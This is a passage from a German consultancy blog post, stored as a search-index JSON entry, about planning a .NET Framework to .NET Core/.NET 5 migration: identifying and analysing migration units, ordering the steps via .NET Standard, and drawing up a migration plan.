Aufgaben abgeleitet werden können. Zudem ist eine Übersicht dieser Einheiten sinnvoll, damit einzelne Einheiten von der Migration explizit ausgeschlossen werden können und sichergestellt wird, dass nichts übersehen wurde.\nBeispiele für einzelne Einheiten, welche im Rahmen der Vorbereitung einer Migration identifiziert werden können, sind unter anderem:\nQuellcodeprojekte Anwendungsserver Schnittstellen Abhängigkeiten zu Drittanbietern etc. Anhand der nun identifizierten Einheiten können neue Aufgaben erkannt werden, welche zuvor unentdeckt blieben. Häufig wird etwa übersehen, dass auf dem Anwendungsserver eine passende Runtime installiert werden muss oder genutzte Authentifizierungsmechnismen nicht mehr unterstützt werden.\nMigrationseinheiten analysieren Nachdem nun alle von der Migration betroffenen Einheiten identifiziert sind, können diese genauer betrachtet werden. Anhand der Vielzahl an Einheiten und deren Umfang ist ersichtlich, dass eine Migration in den meisten Fällen nicht als Einzelperson umsetzbar ist. Da Aufgaben in den verschiedensten Bereichen anfallen werden, sollten so früh wie möglich Architekten, Entwickler, Administratoren und weitere in die Planung einbezogen werden. Diese erkennen eventuell weitere Aufgaben oder Abhängigkeiten, welche für eine Person allein nicht auf den ersten Blick sichtbar waren.\nFür jede der Einheiten sollte nun nach dem gleichen Schema vorgegangen werden, um die folgenden Fragen zu beantworten:\nWas für ein Typ ist diese Einheit (Windows Server 2019, .NET Framework 4.5 Projekt, Drittanbieter Software, etc.)? Ist eine Migration erforderlich? Welche Aufgaben abgesehen von der Migration sind erforderlich? Sind vorgelagerte Aufgaben notwendig? Welche anderen Einheiten werden durch diese blockiert? Wer ist für die Aufgaben zuständig? Welche Risiken ergeben sich bei der Migration dieser Einheit? Als Hilfestellung für die Durchführung dieser Analysen kann auf diverse Tools zurückgegriffen werden. Mit dem Erstellen eines “Dependency Diagram” in Visual Studio können beispielsweise Projektabhängigkeiten untereinander erkannt werden. Auch für die Portierbarkeit des Quellcodes bietet Microsoft ein hilfreiches Tool mit dem “.NET Portability Analyzer”. Mit diesem kann grob abgeleitet werden, wieviel Aufwand ein einzelnes Projekt hinsichtlich der Migration des Quellcodes benötigt und wie viel Quellcode neu geschrieben werden muss.\nReihenfolge definieren Da bei einer .NET-Core-Migration Kompatibilitätsprobleme der Plattformimplementierungen auftreten können, sollte bei der Reihenfolgenplanung der Zwischenschritt über eine Migration zu .NET Standard in Betracht gezogen werden. Diese stellt den kleinsten gemeinsamen Nenner der Plattformimplementierungen dar. Dadurch werden die Systeme weiterhin kompilierbar sein und können untereinander referenziert werden.\nIn der nachfolgenden Grafik ist dargestellt, wie die Systeme „Bottom up“ zu .NET Standard migriert werden. Lediglich die Web-Anwendung wird in diesem Beispiel nicht migriert, da sie nicht von .NET Standard unterstützt wird.\nAbbildung 3: Migration zu .NET Standard\nNachdem die Anwendungen auf .NET Standard migriert wurden, ändert sich die Sichtweise zu „Top down“. Die Web-Anwendung auf oberster Ebene kann nun zu .NET Core migriert werden, da alle untergeordneten Projekte bereits auf das kompatible .NET Standard migriert sind. Schritt für Schritt kann nun von oben ausgehend die Migration zu .NET Core erfolgen.\nAbbildung 4: Migration zu .NET Core\nMigrationsplan aufstellen Als Abschluss der Konzeption sollte ein zusammenfassender Migrationsplan erstellt werden. Dieser dient den Projektbeteiligten als Überblick über das Vorhaben und die dahinterstehende Strategie. Die Zusammenfassung der wichtigsten Erkenntnisse des Konzepts dienen somit für ein gemeinsames Verständnis und Einverständnis aller Projektbeteiligten. Die wichtigsten Punkte für eine Übersicht sind nachfolgend aufgelistet:\nBeginn der Migration Ende der Migration Ziele der Migration Migrationsstrategie Migrationsablauf Abhängigkeiten zu Fremdsystemen Risiken bei der Migration Point of no return Rollbackszenarien und -maßnahmen Nun kann die Konzeption Ihrer eigenen Migration beginnen. Als Hilfestellung habe ich Ihnen hier eine Dokumentenvorlage vorbereitet. Sehr gerne können Sie dieses Dokument für Ihre Migration nutzen und anpassen. Bei Fragen, oder wenn Sie Unterstützung bei Ihrer Migration benötigen, können Sie sehr gerne mich oder einen der anderen Experten der Objektkultur kontaktieren.\n","date":"3. März 2021","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/net-migration_huec5d488158eb9ead56e9591e14a65c57_19706_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/net-migration_huec5d488158eb9ead56e9591e14a65c57_19706_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/konzeption-einer-.net-core/.net-5-migration/","tags":[".net"],"title":"Konzeption einer .NET Core/.NET 5 Migration"}]